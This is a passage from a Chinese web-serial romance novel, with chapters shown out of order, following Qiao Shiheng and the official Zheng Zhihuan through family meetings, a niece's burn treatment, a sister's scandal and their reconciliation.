但他最终还是选择了去面对。 他总是感觉自己一直徘徊在郑先生的世界之外，这样的机会或许可以让他们更近一些。 乔施珩本来放心不下店里，但苗楠说离了他两天不会有事，大家也比较支持他，他就放心离开了。郑先生走得早，他也不想让他再特意跑来天市一趟就为了接自己，他自己回去就可以了。 虽然他甚至想问郑先生要个定位自己过去，但出了高铁站，郑先生还是过来接他了。 自从那件事之后，他换了一辆低调很多的车，这样显得有些古板的车，倒是很符合他的气质。 “先回家？”郑祉桓问完之后跟了一句，“如果不住家里的话，我也订了酒店。” 乔施珩还没想好怎么跟家里说，决定还是先不回家，等到走之前再回去一趟。 郑祉桓给他订的酒店在医院附近，这里距离他们家也不远。 乔施珩稍微收拾了一下，就跟着他去医院了，路上路过水果店，乔施珩下来买了些水果和礼品。 比起郑先生的父亲，乔施珩觉得他的母亲其实比他父亲更有种难以接近的感觉。果然，老太太并不欢迎他。 她应该是已经从老爷子那里听说了，也或许是跟老爷子意见相左，从乔施珩进门，她就拉着一张脸，什么话也没说。 乔施珩跟她问好，也不回应。 郑祉桓显然不是那种对她有耐心的人，他要带乔施珩走，她才开口：“急什么？来了有五分钟了吗？就要走。” 乔施珩又带着郑祉桓在她旁边坐下，他看她东西已经收拾好了，主动问：“阿姨是可以出院了吗？” “我住这一周的院，也没见你来几次。”她忽略了乔施珩，看向郑祉桓，“当初你毕业，我想让你去你哥的企业，你立刻考了个研究生，又考了个中Y选d生，屁股拍拍，人就走了。这么多年，你跟我和你爸正经话都没讲过几句，现在你又来这么一出，你是存心拿刀子挖我心啊！” 郑祉桓看着她，依旧没有什么很浓烈的情感，说爱谈不上，甚至连恨都没有。“郑祉裕是什么人，你不知道吗？” 她的脸色变了变，“但是再怎么样，他有孩子！你们呢？” “承认吧，你做母亲很失败。郑祉裕在你身边长大，他长成什么样的人？你说我冷漠，不是正常人，但郑祉裕呢？他是正常人吗？他是你想要的儿子吗？” “别说了！”她提起手边的行李，“我有车来接，你们走吧。” 乔施珩一直不敢说话，也不知道应该说些什么，他们三个人在这里，但话题只围绕在母子问题上，没有他可以讲话的空间。 但是看起来，郑先生的父母，都被迫接受了他的存在。 从医院出来，已经到了傍晚，他们目送着那辆车离去。 “想吃什么？” 乔施珩想了想，倒是不知道想吃什么，但他想去蒙久的店里看看，便带着郑祉桓过去了，顺便和他讲了一下自己和蒙久的同学之情。不过到了店里，蒙久却不在，他打电话给蒙久，对方却去了外地旅游，承诺下次再好好招待他。 蒙久不在店里，乔施珩也知道郑先生不太喜欢串串这类食物，就带着他找了家餐馆。 “杜慧慧联系你了吗？” 乔施珩没想到他会主动问起杜慧慧，“没有，但是看她朋友圈好像面试没过，笔试过了。” “她L选的岗位竞争力比较大，不过南湖区内部调动，她又回了金石区。” “真的吗？怎么没听她说？” “文件还没正式下去，她暂时应该还不知道。” 乔施珩有些惊讶，“可是这两个区也不是你在，你怎么知道？” “内部渠道。” “好吧。”乔施珩不再问了。 这家餐馆味道其实不太好，以乔施珩的口味来看，很糟糕。 “你和你的家人，为什么关系那么差？” “接触并不多，没什么深厚的感情。”郑祉桓显然不想解释，但因为对方是乔施珩，他还是尽可能地多说：“初中被接回后，我们无法磨合，所以我一直住校，周末有时候也不回去。大学更是去了燕京读，回到申市后就进入了工作单位，也没什么时间接触。” 乔施珩知道这种关系的和缓并非一朝一夕就可以做到，幸而他们都在改变。 只是，他还是不懂，“郑总他，不是很好吗？” 对于他的这个问题，郑祉桓出乎意料地回以他一个意味深长的笑容。 乔施珩决定不问了，或许，他眼中的郑总，只是郑总想要他看到的郑总。 吃完饭时间还早，本来乔施珩打算明天离开之前回家一趟，但现在看时间还早，又不好把握明天的时间，所以还是决定回去一趟。 他们没有直接回家，而是去了太芬的小门店。 这个点人比较多，令乔施珩意外的却是店里竟然是乔施军在忙。 乔施军见了他们，很吃惊。“你怎么……” “没什么，有点事回来一趟。”乔施珩还不知道怎么跟他说，而且他跟郑先生两个人还没说开，所以只能搪塞过去。“嫂子呢？” “在家呢，婷婷这几天一直有点发烧，去诊所吊水也不怎么见好。” “那你赶紧带她去医院检查一下啊？一直不好怎么能行？是不是病毒感染什么的？” “我本来就打算明天带她去的。” 乔施军的串还有些没卖完，但他显然无心卖了，就早早关了门，跟着乔施珩一道回了家。 郑祉桓照旧去了王圆家的超市买了些孩子喜欢的礼品，而此时的王圆看到他们在一起，就已经明白了一切，结账的时候还偷偷给郑祉桓竖了个大拇指。 到了家里，轩轩正趴在茶几上看书，太芬抱着婷婷坐在沙发上看电视，而婷婷闭着眼睛，好像睡着了。 “你们怎么回来了？”太芬看到郑祉桓，吓了一跳，感觉话都有些不会说了，但同时，她也明白了。 “我正好有些事要回申市一趟，就来家里看看。”乔施珩摸了摸轩轩的头，之后过去看了看婷婷，“怎么了？脸色蜡黄。” “这几天一直发烧，也不见好。我就让你哥明天带去医院检查一下。” 郑祉桓主动说：“我来安排。” 他出去打电话了。 太芬也把轩轩赶去楼上睡觉。 乔施军就抓着他问：“你跟他到底怎么回事？怎么又到一起去了？” 太芬瞪了他一眼，“还能怎么回事，你真会问，这不是很明显吗？”她转而问乔施珩：“你都想好了？” 乔施珩有些惭愧，不知道该怎么解释。 他们给够他空间，甚至连这种事情，他们都没有过于反对。 “我们不是要反对你们，只是你跟他本身就有一些差距，又不太愉快地分开过，我们也是担心你会受到伤害。” 乔施军也很无奈。 乔施珩揉揉眼睛，“抱歉啊，只是我觉得我们应该再尝试一下，我们都在改变。”他顿了顿，“我们在一起很多年了。” 只是那些年，一个不懂爱，一个不敢爱。 漫长的沉默后，郑祉桓进来了。 “明天会有车过来接你们，他会带你们去医院。” “谢谢你啊，郑先生。” 乔施军想起来：“你没带东西回来？” “我住酒店，明天直接从那边走。” 回酒店的路上，乔施珩跟他道谢，“其实做检查我哥他可以的。” “他腿脚不方便，有个人带着会少跑一些路，没事，你不用放在心上。” “明天我过来接你，你不要紧张。” “好。”乔施珩忽然想起来：“我是不是要买衣服呢？显得正式一些。” “没关系，不用。” 郑祉桓看起来很轻松，乔施珩倒是真的放松了下来。 晚上他睡在酒店的大床上，脑海里想着明天的宴会，他能想到的也就是一些人在一起吃吃饭。 可第二天，当他们的车子缓缓驶入那座古老的庄园中时，乔施珩才明白，什么是贫穷限制了想象。《 》 【正文完结】 第70章 “要抱一下吗…… 一路上，乔施珩的脑海里只闪过零星词语，例如青石、古松、凉亭、白墙黛瓦、小桥流水…… 下车后，一位身着旗袍的女士笑着走了过来，“郑先生，很久不见了。” 郑祉桓同她问好，“香姐。” “走吧，他们都到了。”她步伐从容，谈吐有度，但让人看着就不是这里的主人或者客人，倒像是领班之类的引路人。 穿过曲径通幽的回廊，两边的翠竹郁郁葱葱，远处还能听到水流的声音，太安静了，乔施珩不自觉感到有些压力。不多久，他们进入了一间四面通透的茶水室。郑叔戴着一副金丝眼镜，正和一位与他差不多年纪但气质上却更显清冷的老伯对弈。除了他们之外，旁边还坐着两男一女，年纪都在三十多岁，正在低声交谈。看到他们进来，这几个人同时朝着他们望去。 “来了。”郑复谦朝着他们点点头，“过去坐吧。”他又看看乔施珩，“小乔，别紧张，自然一些，都是自家人。” 他对面的老伯笑了，“难得见你这么和蔼。” “我什么时候不够和蔼了？”他又招呼他继续下棋。 “二哥，这就是小乔吗？”那个女士过来跟乔施珩打招呼，“你好，我是郑彬乐。”他又介绍那两位男士：“他们是郑斌和郑武。” 郑祉桓对他们点点头，带着乔施珩过去坐下。 “妈妈和伯母婶婶她们都在那边。”郑彬乐化着精致的妆容，目光又落回乔施珩的身上，她关切地询问：“小乔，听说你在天市开店？现在开店的话容易吗？尤其是餐饮这块，听说特别难做。” “确实不是很好做，不过我有比较有经验的朋友帮衬，我们店对口味的要求也比较高，所以回头客会多一些。加上现在也做网络平台，勉强还是可以维持住。” 她还想再问什么，郑祉桓却看向她：“话这么多。” 她笑了笑，不再说话了。 倒是另外两位男士看出来郑祉桓不希望别人过多关注乔施珩，于是将他扯到话题中来，从跨境并购案说到能源企业又扯到地缘政治以及反垄断之类，这些话题乔施珩别说插不上嘴，他都不太听得懂他们在说什么。 这样，他反而轻松了很多。 等到郑复谦下完棋，郑祉桓主动问：“大伯，最近身体怎么样？” “真稀奇了，你还会主动问我来了？”他笑呵呵：“好得很，你不用拘束。” 话虽那么说，但是一圈人又去了宴会厅寒暄一圈，再坐上饭桌都是一个小时之后的事情了。 吃饭的时候乔施珩显然是中心人物，所有人都在问他话，有些乔施珩好回答，有些不好回答。遇到不好回答的，郑祉桓就站出来替他回答。大概是他能力强，算是家族里的核心人物，所以没人表现出对他们有异样的看法。 而他的母亲，一直强颜欢笑，却总归是没说什么反对的话。 乔施珩知道，这顿饭吃完，他们的关系也该明朗一些了。只是他还没想好，要怎么去说。 回天市的路上，乔施珩想了很多，但总感觉太肉麻的话他根本说不出口，而且郑先生也不是那种会说肉麻话的人。 但他还是想找个机会，勇敢向前走一步。 不过令他没想到的是，这天他接到了太芬的电话，电话里她很着急，“阿珩，不好了呀，婷婷这病才好，又不小心打翻了我熬大料的锅，烫伤了！” “什么？严重吗？烫到哪里了？” “脖子以下，挺严重的。” “行，嫂子你先别慌，去医院了吗？医生怎么说？” “我们在医院里碰到了郑先生，他现在正在跟医院协调。”太芬很抱歉，“对不起啊，阿珩，我们又麻烦你跟郑先生了。” 乔施珩宽慰了她几句，挂掉电话后，给郑先生打电话，却显示正在通话中。 “楠楠，我得回申市一趟。”乔施珩把苗楠叫过来，叮嘱了一些店里的事情，直接定了最近一班高铁，去了高铁站。 路上郑祉桓给他回了电话。 “我已经联系了烧伤救治与容貌康复一体化方面的专家团队，只是这个团队在燕京。他们会先接收婷婷的病例进行远程预诊，我这边也会协调专业医疗救护车长途转运。”他补了一句，“你不用担心。” “好，我大概晚上会到。”乔施珩想起来：“我用跟着过去吗？” “你先过来。” “好，谢谢你。” “没事，应该的。” 乔施珩以为他忙，会顾不上自己，结果他就等在高铁站的出口处。 “大哥和大嫂已经跟着转运车一起去了燕京，我安排了人跟去，他会安排好。” “什么人呢？对你工作会有影响吗？” “是郑祉裕那边的人，没关系，对我不会有影响。”郑祉桓带着他去了停车场，“只是我猜想，你会想去看一下，所以我订了明天早上的飞机过去。” “还有，你妹妹那边也御演乄会明天飞燕京。” “我现在都感觉有点懵，我好像什么都不知道，你怎么就全都知道了？” 郑祉桓发动车子离开，跟他解释：“我们单位老领导生病做手术，今天几个单位负责人都约好了过来看望一下，结果就碰到了大哥和大嫂，打听了一下才知道婷婷是烫伤，我看到了伤口，脖子以下到肚子那边，烫伤比较严重。” “我嫂子说是打翻了她熬大料的锅，也太不小心了。”他想起来：“那轩轩谁带呀？” “这几天暂时送在邻居家住，拜托他们接送一下。”郑祉桓想了想，“你们家后面有个开超市的，说是放在了他们家。” “是潘以佳的家，那还好，那位叔叔开超市，家里阿姨跟着他一起，时间相对宽裕。”乔施珩放下心来，不忘给潘以佳发信息感谢。 发完信息，他看着道路两侧，“你把我往哪儿带呢？酒店吗？” “对。” “你现在住哪里？” “住在环山路三号。” “那要不……你收留我一晚？” “好。” 环山路三号也是一片别墅区，乔施珩进门的时候就疑惑：“你名下可以有这些财产吗？” “都在郑祉裕名下。” “好吧。” 乔施珩在屋里转了一圈，这间别墅不大，但是仍然让人感觉像样板间。 “你为什么又住这里？” “现在主要工作集中在申市大楼，在区里的时间比较少，住这里距离申市大楼会比较近。” “对哦。”乔施珩厨房晃荡到卧室，看到一楼的卧室明显是他在住，“你住这间吗？” “嗯，懒得往楼上跑了。”郑祉桓倒了杯茶给他，放在了客厅的桌子上。 “现在有专职的司机吗？” “用楼里配备的司机。” “秘书呢？” “我把赵秘书调过去了，跟着我一起调动。” “好吧。”乔施珩看着那张床，“我们挤一挤吗？” “不用了，我睡沙发。” 乔施珩想了想，“这么见外吗？” 郑祉桓看着他，似乎在思考应该怎么说。乔施珩耐心等着，好半天，他就问了六个字，“你原谅我了吗？” 这个样子，一点儿也不像是个叱咤风云的人物，反而像个尽显青涩的少年。 乔施珩难得想逗逗他，“明天再原谅你。” 然后晚上郑祉桓就真的在沙发上将就了一晚。 婷婷转运到燕京的医院后经过专家团队现场会诊，接着就制定了医疗计划。乔施珩和郑祉桓到的时候，她正在做手术。太芬和乔施珩坐在外面的椅子上，愁眉苦脸。 “你们来了。”太芬叹气：“还不知道怎么样呢？” “没事的嫂子，这是最权威的团队，不会有问题的。”乔施珩宽慰完，郑祉桓就接了话，“资金方面你们不用担心，郑祉裕的公司有这方面的援助资金，他会通过正规渠道帮助你们申请。” 乔施军很感激，“郑先生，太感谢你了，有你和阿珩在，我们放心的。” “客气了。” 乔施文的飞机晚上才到，她到的时候婷婷还在手术室，她风风火火跑过来，“什么情况啊？我听说我都吓了一大跳，怎么好好的能被烫到？” “怪我，是我不小心。”太芬垂泪。 “没事，别太担心，相信医生。”乔施珩问乔施文：“你怎么跑来了？你那边走得开吗？” “我哥给我打电话，问我要不要过来，我就过来了。”她看向郑祉桓，“郑先生也在啊？”随即，她看向乔施珩的目光变得意味深长，很明显，她已经明白了。 婷婷的手术做了很久，情况也比较乐观，他们一家子总算放下心来。 郑祉桓让跟着过来的人已经把他们几个人的衣食住行都安排妥当了。他工作很忙，不能久留，第二天就回了申市。 “哥，你们这是和好了吗？”乔施文问他：“你们或许……确定关系了？” 乔施军咳了一声，没出声。倒是太芬说：“阿珩，你放心吧，现在社会也开放了，我们不会对你有什么看法。我跟你哥身体都不好，这个家全都靠你，我们感激你，也感激郑先生。”她叹气：“我们也不想总是麻烦你，但我跟你哥也没什么大本事，像这些突发事情还是要麻烦到你们，好在以后我们能挣钱了，会尽量不麻烦你们的。” “别说这些了，见外了。”乔施珩拍了拍太芬。 很多话，他们都懂，也不用一再言明了。 婷婷病情好转以后，乔施珩和乔施文就从燕京离开了。 乔施珩却没回天市，他先去了申市。 在那家宏伟的办公大院外，他来回踱步，这次不是有谁跑来带路，而是郑祉桓亲自出来。“你不是说要回天市？” “在那之前，先来看看你，感谢你为我们家的付出。”他提议：“请你吃饭怎么样？” “好。” “去你家，我要大展身手。”乔施珩看了看时间：“等你下班，我们先去买菜。” “你去我办公室等我。” “不用了，我就在旁边的公交车站等你，反正还有不到一个小时你就下班了。” 郑祉桓显然不想同意。 “没事，这里的公交站人很少，我就坐着等你。” 郑祉桓同意了。 他转身的时候，乔施珩拉住了他，他张开双手，“要抱一下吗？” 郑祉桓展露笑容，用力将他拥入怀中。 《正文完结》—— 作者有话说：说来惭愧，这篇文其实与我最初想写的是完全不同的。因为我比较业余，闭门造车，很多要求不知道，后知后觉，有些设定也不好把握发挥程度。还是要跟大家说一声抱歉，可能看的并不是想象中的那种狗血文。虽然我其实本来是打算写那种（哈哈） 也多谢大家的包容和支持。 年后更新番外啦，提前祝大家新年快乐！《 》 50-60 第51章 “一起走走？” 这次来的人多，折腾的时间也很长，工作是受到了影响，但影响并不大。 天气本来就热，陈新更是出了一身汗，他到办公室去冲了把澡又换了件衣服，乔施珩没出车，就在外面坐着。 陈新出来后递给他一瓶饮料，“想什么呢？这么入神。” 这段时间一直很乱，乔施珩也说不清自己都想了什么，他想到早上看到的那些人，“怎么那么多人来？” “最近可能比较严格，没什么事，我规范经营。”陈新看他垮着脸，好像心事重重，想到他妹妹的事情，“还没发调查结果吗？” “没。” 陈新安慰他：“上次那个学术不端的新闻，那所学校也是压了差不多一个月才发的结果，所以别太着急了。” 乔施珩虽然觉得着急，但着急也没有办法。而且为了这个事情，他还欠了一堆人情要还，这些人情账就够他还了。 “别愁了，晚上出去喝点？” 乔施珩知道陈新不是那种很会玩的人，他的生活圈子相对来说比较单一，是个务实派的人。所以陈新说出去喝一杯，他自然而然想到那些居酒屋，小饭馆之类的，但陈新却说：“索林娜莎酒吧，去不去？” “酒吧？”乔施珩诧异：“你怎么想去酒吧喝一杯，我以为你会去居酒屋。” “看你这个样子就知道你不知道这是什么酒吧。”陈新压低声音，“GAY吧。” 乔施珩没去过这些地方，他拒绝：“不去，不想去这些地方。”他又问陈新：“你常去吗？” “偶尔吧，想放松的时候会去。”他拍拍乔施珩：“别这么闷闷不乐，有什么心事？或许可以说给我听听。” “也没什么吧，主要还是小文的事情。”乔施珩喝了口饮料，冰凉的感觉让他混沌的头脑清醒了一些。 “你应该乐观一点看待这件事，再说了现在网络发达，新的事件层出不穷，现在人们议论她，新事情上来就忘记了。” “这些我都知道。”乔施珩想，道理他怎么会不懂呢？ 他在意的并不是事件的影响，因为这些都会随着时间的推移而淡去，但因这件事要做出的转变却是实实在在的。就像乔施文，如果没有这件事爆发出的影响，她在被当成小三于大庭广众下被审判之后就已经转变了心态往好的方向去发展了。她本该安安心心找工作，能考上好单位最好，没考上好的单位，郑先生也没有帮她，那么她也可以去找别的工作。 可这件事情发生以后，她虽然表面上看着不是很在乎，也没有寻死觅活，心态反而很好。但恰恰就是这种平静，以及这种平静下酝酿着的隐忍，让他感觉不安。这个家庭无力托举她，虽然自己已经尽可能给了她能力范围内能给到的所有，但他始终缺失了多年的情感照拂。 而这件事从爆发到结局的走向，除了当事人，没人能决定如何对待这件事。就像别人能为她提供一些解决方案，但这个方案需要她的同意才可以施行，她是个成年人，应该对自己的所作所为负责，也应该有足够的能力去衡量风险。 她选择不洗白，以后也不会去做主播带货，那么她就一定有她认为比这些方案都好的可达到的结局。这个结局是她自己能够思考到的，让自己感觉舒适的结局，否则，任何不顾她意愿强加给她的结果都可能对她造成更加的恶劣的影响，这是乔施文的一辈子，没人能轻易为她拍板下结论。 但目前乔施文所想和所选择的结局是不透明的，也或许是她自己还没有思考好或者没决心去做的，这才是乔施珩真正担忧所在。 虽然调查结果还没发布，但欠下的人情乔施珩不想拖。正巧也就当带乔施文出去吃饭转移转移她的注意力了。 饭店是冯昭定的，一家价格不算很高昂至少在乔施珩负担范围内的饭店。 乔施文没了之前活泼的感觉，她穿了一身得体舒适的休闲装，始终面带微笑沉默着。 倒是冯昭一直忙前忙后，端茶倒水，盛逸则都很稀奇，“这么勤快啊？” “废话，我哪天不勤快？”冯昭把他的杯子倒满水，绕到乔施珩旁边坐下。 这样的饭桌上几乎没有说什么其他的话题，基本都是围绕这件事和这件事以后乔施文的工作问题。纵然盛逸则和冯昭都提出会帮她解决工作的问题，但乔施文却没有答应。 “以后再说吧。”她只说了这么一句。 乔施珩也拿捏不准她心里都在想什么，他便出来打了个圆场。 “你可别没苦硬吃，我这是看在你哥面子上才愿意帮你。”冯昭说话不是很客气，但他忽然想起来，“对了，李春生说想见你一面，你什么时候有空？” “他见我干什么？”乔施文条件反射，想到：“该不会是想看我笑话，当面笑我几句吧？” “他确实做得出来，不过我在，他不敢。”冯昭问她：“去不去？什么时候去？给个话。” 乔施文想了想：“懒得总是出门了，等会儿吃完了就去。” 所以，这顿饭吃完后，剩下了乔施珩和盛逸则。 夏夜晚风，星夜霓虹。 “急着回去吗？”乔施珩主动邀请盛逸则：“一起走走？” 盛逸则倒是没想到他会约自己走走，欣然答应。 乔施珩不可避免地想到他不止一次扔掉盛逸则名片的事情来，其实他一直避开盛逸则，也是因为知道对方可能对自己有些不一样的想法。所以他主动开口：“盛总，其实我一直挺抱歉的，为当时扔掉你名片的事情，也为后来那些可能冒犯到你的地方。” 盛逸则穿着一身裁剪精致的休闲西装，他双手插在裤袋里，走得缓慢悠闲，听到乔施珩这么说，他也不意外，“没什么。” “其实之前也有像你一样想要结识我的男士，他们也并不都是为了借我攀郑先生的关系。不过我确实也有这方面的顾虑，因为你也知道，到了郑先生的位置，不止他的身边，就连我这样不起眼的人身边也都少不了那些利益驱动者。”乔施珩有些不好意思，他知道这么说有些自恋，但还是硬着头皮讲下去，“可是也有一些人是单纯冲着我来的。但是我很难再和别人走进一段感情了，所以我会有些抗拒这些人。” 盛逸则表示理解，他只是惋惜：“你是个很不错的人，不管是什么角色，尽职尽责的工作者也好，关爱妹妹的哥哥也罢，又或者以一己之力扛起家庭的重担这些。可惜你遇到了一个不是很适合你的人，并且为了这个人消耗太多感情。” 乔施珩不理解，“其实我觉得，以前我和郑先生的关系还挺隐秘的。” “很多人不会往那个方面去想，我之前打听郑先生喜好的时候，得知他有个跟了他十来年的司机，本来也以为是亲戚关系。但直到我看到你，我就转变了自己的想法，可能没有这方面经历的人都不懂。”盛逸则看了看他，“我当时就想，什么样的感情能让你跟他这么多年，甚至还会羡慕能拥有一份这样纯粹热烈而又隐秘感情的郑先生。” 一份纯粹热烈的感情在现在这个社会确实很难寻了，但太过持久热烈，并不容易被珍惜，毕竟繁华还是太易遮人眼。 “觉得可惜吗？多年的感情断裂。” 乔施珩笑，这个问题，像极了乔施文问他的那句后不后悔。 “其实我确实不是个好人。”盛逸则没得到他的回答，但他似乎已经知道了答案，他不由开始正视自己，“以前也是个什么都玩儿的主，甚至也没想过收心，只是见到你，再联想到一份那么热烈的情感，有些不平衡罢了。你知道像我这样的人，其实很难得到真心。” “我知道你想跟我说什么，无非是想说你很难再开始新感情，但是小乔，我不缺时间。”他停下来，看着乔施珩，“对你我一直都很谨慎，并不是心血来潮。我不知道这份热烈的情感熄灭后还能不能再燃烧，我只希望这份炽热灼烧后，灰烬的余温，能稍微温暖一下我。” 可是灰烬是会散去的，怎么还会有余温呢？ 乔施珩的拒绝显然是单方面的，盛逸则并不想放弃。但是面对一个逃避自己的人，盛逸则也没有办法，即便他鼓励乔施珩可以试试和他从朋友开始做起，但乔施珩其实明白，做朋友就是在给机会。 他不是固执的人，但他确实不想再和差距过大的人有什么情感往来，单纯朋友的话可以，多了一些情感就不可以。 乔施文半夜才回来。 “和李春生都说什么了？” “还能说什么，他对我一通抱怨，怪我的事情把他牵扯出来了。”乔施文觉得这些男人无聊透顶，“我真是眼睛瞎了才想去攀那种男人，以后就算给我一座金山我直接拿金子砸死他。” 看她气呼呼，乔施珩倒是平静了不少，只是他始终心有疑问：“你一直没正面谈工作的事情，是有什么想法吗？” “确实有，不过我还没想好。”乔施文坐到床边擦护手霜，“感觉有些事情还是需要勇气才能够决定。” “是好的事情吗？”乔施珩心中犹疑。 “当然，都这个时候了，我还能坑你不成。”乔施文哀叹，“我是真的命不好，犯这种错的人比比皆是，偏就是我挨全国人民批斗。” “不是你说的吗？背书少背了一段，老师就抽了那段。” 他们相视一笑，像繁星在夏夜绽放，绚丽明亮起来。 乔施珩再历经几次仓库被以各种名义检查的事情之后，终于意识到了不对劲。 老典在门口的吹风机前抽烟，他看着查安全隐患的人犯愁：“你说说，今天SJJ来，明天XFJ来，一周好几回，没事也变得有事了。” “陈老板是不是得罪人了？” “我看八成是，不然隔壁那仓库比咱们大多了，那货还不是一般货，怎么不找他们去？” “以前还没过这情况，看来得让老陈去寺庙里拜拜了。” 几个人七嘴八舌，乔施珩却在心里打了个问号。 他虽然心有疑问，却没有立即去验证自己的猜测，他也觉得是自己想多了。 可当太芬几天没出摊后，他就又有了这方面的猜测…… “说是以后都不让摆了，天天来查。”太芬犯愁，“这可怎么办？” “别急，这里不让还有别的地方呢。” 乔施军也着急：“这附近都不让了，我下午还看见隔壁那家在门口擦车，没出摊呢，说是也不让摆了。” 乔施珩又觉得可能是自己想多了，有可能就是真的不让摆，规范街道经营这些。 但陈新那边的麻烦却没断过。 直到乔施珩看到郑先生新的任职TZ，才决心去找他问问。 可打他电话却没有人接，发信息也不回，打赵秘书的电话，对方表示自己并不跟随他一起调动，所以对他的情况不清楚。 于是，乔施珩想到了他曾经发给自己的地址。 在一个寻常的夏日傍晚，敲响了那扇门—— 作者有话说：明天不更[狗头叼玫瑰] 第52章 “别太过分了。” 虽然乔施珩算准了郑先生的下班时间，但他敲了好久，门也没开。 因为来之前也有过一段时间的纠结，所以没找到人，他除却有些茫然外，也没急着走。 这是个花园小洋房，面积不大，和他家那破旧的二层小楼差不多。这片区域绿化很好，树木郁郁葱葱，还有很多花花草草。他在四周溜达到天黑，又溜达回了那栋房子前。在门口等了差不多十五分钟，郑先生的车才开进来。 看到乔施珩，郑祉桓并不惊讶。 乔施珩看他神色自如，猜测他应该知道自己是为什么而来。他跟在郑祉桓的身后进门，然后在门边换了拖鞋，走到客厅区域站着。 郑祉桓始终没说话，他去厨房倒了两杯水，然后放到客厅上，招呼他：“坐。” 乔施珩坐下来。 “我还以为你不会来找我。”他调整了一下姿势，身体前倾，看向乔施珩，“怎么？不是不想和我扯上关系吗？” 乔施珩看他这个样子，感觉猜测是对的。但他却没直接说，他拐了个弯，先祝贺他：“看到先生的任职书了，恭喜先生。” 郑祉桓听到这句话，脸上的笑容收了一些，他重新审视乔施珩，却没说什么。 “我之前就说了，先生还有大好前途，现在不仅去了核心区，更是到了申市常W，可以说再也找不出第二个像先生这样年轻有为的人来了。” “你是来恭维我的？” “当然不是。”乔施珩拿起桌上的那杯水，还烫着，他反复摩挲杯子，“我工作地方的麻烦事，和你有关吗？” 郑祉桓像是听到了什么笑话，他往沙发上靠去，“不管是加强对食P安全jc或者消F安全检c，这都是职NB门合理合规合法的行为。”甚至没让乔施珩问出来，他就主动提及太芬摆摊的事情，“甚至规范流动摊贩管理，营造安全、有序的CS环境，这都是依据《cs市容和hj卫生管理tl》来实行。” 虽然他这么说，但乔施珩了解他，已经从他的表情中得到了答案。 “先生，从我决心离开以后，我其实一直对你都很尊敬，我也是真的想和你好聚好散，以后碰到了还能打个招呼，我从没想过和你闹翻。”乔施珩看着自己手中的水杯，那水面一直在晃，像波涛汹涌的海，装进了狭小的水杯中。“我也不明白你为什么总是想让我回去，在你明知道我不会回去的情况下，还要做一些可能会有损别人利益的事情来，太幼稚了先生。” 郑祉桓不动声色，就连乔施珩这样明显对他扣帽子的说法，他都没有反驳。 乔施珩不想把情感剖析给一个装聋作哑的人听，所以涉及他那些期待与情感付出的事情，他都没有选择开口，更没有想要打什么感情牌。他只是干巴巴表达了自己的想法，“别太过分了。” 他没喝那杯水，又轻轻把那杯水放下了。 “你说不明白为什么我总是想让你回来。”郑祉桓看着他，他素来冷淡的脸上多了一丝疑惑，“我自己也不明白。”他像是真的不能明白，这种疑惑仿佛在他脸上凝固，“我的确不相信你会离开，所以那个晚上，我以为你是心血来潮，根本没有放在心上。” “可你拿了把伞离开，就真的没再回来。”他脸上的表情除却疑惑外逐渐添杂了一些对乔施珩的审视，接着又混入了一些复杂的很难形容的情感。 “我们这样过了很多年了。”从来对任何事都游刃有余的郑祉桓，在这件事上却显得难以拿捏分寸。 乔施珩很少看到他这样显得有些茫然无措的样子，可他还是反驳了他，“我们这些年并不是一直这样过下去的。” 郑祉桓倾身，他拿起杯子喝了口水，接着他陷入了沉默。 乔施珩不想跟他再纠缠下去，他一直觉得自己懦弱，对郑先生太过宽容，仿佛看他的时候永远觉得他美好。所以他不希望，也不允许郑先生再做任何“幼稚”而又出乎他意料之外的事情来。 他曾经以为自己对他的容忍度很高，高到把自己低进尘埃里，可如今才知道自己对他已经没有了容忍度。 从沙发上站起来的时候，对面的郑祉桓有些慌张，他似乎在思索应该对他说些什么。但直到乔施珩走到门口，他才起身追过去，甚至撞翻了面前的水杯。 “阿珩！” 郑祉桓言语紧张，“我当初结婚，和对方谈好形式婚姻，这是我认为的最好的结局。我结婚也是不想再在各种乱七八糟的人之间周旋了，你能明白吗？在我的立场上，我需要衡量的风险太多了，不到万不得已，我不会把自己也逼上绝路。” 乔施珩转身看他，郑先生从来都是胸有成竹的，他总是能够想得很周全，做得很周到，这点他明白，也敬佩。但现在的郑先生，惊慌，茫然，紧张，混乱 “如果不结婚，不再跟那些人周旋，我只有一条路可以走，很危险的一条路，走错一步，万劫不复。”说到此，他终于有一瞬间脸上的表情变成劫后余生后的喜悦，“但是我成功了。” “所以我们还是可以回到以前，我可以不用再与人虚与委蛇，我可以不再受制于人，你能明白吗？”他急切地表达，看向乔施珩的目光中带着些迫切，他希望乔施珩能明白他的话。 乔施珩也确实是明白，他早就知道他身不由己。他以前确实也没怪过他，因为他们本来就不是正当交往关系。只是现在不一样了，他已经放弃了，他也不希望郑先生再纠缠，这样的纠缠让他厌恶，让他精疲力尽。 所以他很无奈，甚至连多余的话都不想再说。 出了门，晚风微凉，让他从那种被郑先生带入的混乱思绪中解脱。 才走到院中，郑先生的声音又在身后响起，“你想我怎么做？我应该怎么做？我已经尽我所能排除了我能想到的所有风险因素了。” 乔施珩不知道自己是怎么了，好像仍然有一股思绪在拉扯他，想要他回头看看他，看看他的狼狈，但另一股思绪却又将他大力扯回，警告他不要再回头了，他应该决绝。 在失去了对他的容忍度后，他很轻易就能够做到不回头。 但是这个夜晚他还是失眠了。 比起对感情的悼念，对过去的懊悔，他更多的却是对未来的茫然。 很神奇，他这个时候竟然会为了未来而辗转反侧，夜不能寐。 所以他又拿起了手机，却意外看到一条热搜推送。 学校终于发了调查结果，说明教授只和某学生存在不正常师生关系，其他被牵扯进来的人都是无辜的。 乔施文的传闻再次被翻出来炒，网络上什么声音都有，有为她喊冤的，也有认为她小三的事情就是真的 乔施珩觉得讽刺，他才找过郑先生，这结果就被发出了出来，还真是很巧呢。 他起床，打开门，走到乔施文卧室门前，就听到她的屋里传来隐约哭泣声。 乔施珩想了想，到底没推门进去。 有关调查结果的相关热搜到早上热度就消散了很多，乔施军和太芬仍然很高兴，尤其是太芬一早上就做好了丰盛的早餐。 乔施军拿了瓶酒出来，“小文，你大哥我跟你道歉，责备你太早了。” “马后炮你就行。”太芬把他的酒收了，“一早上喝什么酒，回头还有正事呢。” “对对。”乔施军想起来问：“阿珩，咱们这预算，能找得到像样的门面吗？” “应该可以。”乔施珩把婷婷的辫子扎好，“我回头找蒙久问问，他有门路。” 乔施文换了个新闻台，把遥控器往沙发上一扔，“我今天要回学校一趟，夜里收到通知了。” “你们学校也是够忙。”乔施军问她：“那你这事不影响你找工作了吧？那个阿珩，郑” 